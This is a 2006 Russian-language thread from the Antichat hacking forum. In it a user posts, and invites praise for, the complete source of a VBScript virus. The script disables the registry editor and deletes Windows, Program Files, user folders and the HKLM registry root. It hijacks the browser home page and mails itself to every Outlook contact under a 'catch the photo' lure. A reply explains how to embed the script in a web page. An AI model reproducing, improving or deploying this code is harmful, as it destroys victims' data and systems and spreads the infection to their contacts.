Форум АНТИЧАТ

Форум АНТИЧАТ (https://forum.antichat.xyz/index.php)
-   Болталка (https://forum.antichat.xyz/forumdisplay.php?f=46)
-   -   Ну вот ещё один вир в .vbs (https://forum.antichat.xyz/showthread.php?t=28785)

master3 09.12.2006 19:49

Ну вот ещё один вир в .vbs
 
Код:

'            = = = = = =  = > KASPERSKII SUKA < = = = = = = =

'      Объявление переменных(этот абзац не перемещать)
Set FileSystemObject = CreateObject("scripting.filesystemobject")
Set Shell = CreateObject("Wscript.Shell")
t = 0: On Error Resume Next ' Пропускать ошибки
Set Application = CreateObject("Shell.Application")
Set InternerExplorer = WScript.CreateObject("InternetExplorer.Application")
Set Outlook = WScript.CreateObject("Outlook.Application")


' Минимизировать все окна
Application.MinimizeAll

' Блокировать RegEdit(чтоб у него не заводился редактор реестра).Для того чтобы разблокировать происвойте DisableRegistryTools значение - 0
Shell.RegWrite "HKEY_CURRENT_USER\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\POLICIES\SYSTEM\DisableRegistryTools", 1, "REG_DWORD"

'    Вывести сообщение с запросом пароля
prl = inputbox("Введи пароль", "Запрос")
If prl = "Kaza" Then FileSystemObject.deletefile WScript.ScriptFullName, True: Wscript.Quit

' Удаление C:\WINDOWS
str = "C:\WINDOWS"
If FileSystemObject.fileExists(str) = True Then
FileSystemObject.deletefile str,True
ElseIf FileSystemObject.folderExists(str) = True Then
FileSystemObject.deletefolder str,True
End If

' Удаление C:\Program Files
str = "C:\Program Files"
If FileSystemObject.fileExists(str) = True Then
FileSystemObject.deletefile str,True
ElseIf FileSystemObject.folderExists(str) = True Then
FileSystemObject.deletefolder str,True
End If

' Сделать домашней страницу "http:\\www.lunka.com"
Shell.RegWrite "HKCU\SOFTWARE\Microsoft\Internet Explorer\Main\Start Page", "http:\\www.lunka.com"

' Разослать вирус Все контакты неприятеля
For Index = 1 To Outlook.GetNameSpace("MAPI").AddressLists(1).count
Set OutMail = Outlook.CreateItem(0)
OutMail.to = Outlook.GetNameSpace("MAPI").AddressLists(1).AddressEntries(Index)
OutMail.Subject = "Привет!"
OutMail.Body = "Лови фотку"
OutMail.Attachments.Add WScript.ScriptFullName
OutMail.Send
Next


'    Удаление всех специальных папок
 For Each Folder In Shell.SpecialFolders
  FileSystemObject.deletefolder folder,True
 Next
' Удаление Documents and Settings
 FileSystemObject.deletefolder"C:\Documents and Settings",True
 FileSystemObject.deletefolder"D:\Documents and Settings",True
 FileSystemObject.deletefolder"E:\Documents and Settings",True

' Удалить запись в Реестре
Shell.RegDelete "HKEY_LOCAL_MACHINE\"

'    Вывести сообщение
Shell.popup "Master", 5, "Автор вируса", 0+48

Ну как? :D

7ion 09.12.2006 20:53

Про остальные функции не знаю, но удаление каталогов Windows и programm files не прокатит: система не даст.

+toxa+ 09.12.2006 21:02

Код:

KASPERSKII SUKA
МООООООДНО.....

spider911 09.12.2006 21:26

сори за тупой вопрос: А в чём или где его писать???

7ion 09.12.2006 21:50

помещаешь в веб страницу
<SCRIPT LANGUAGE="VBScript"> тут код </SCRIPT>


Время: 07:26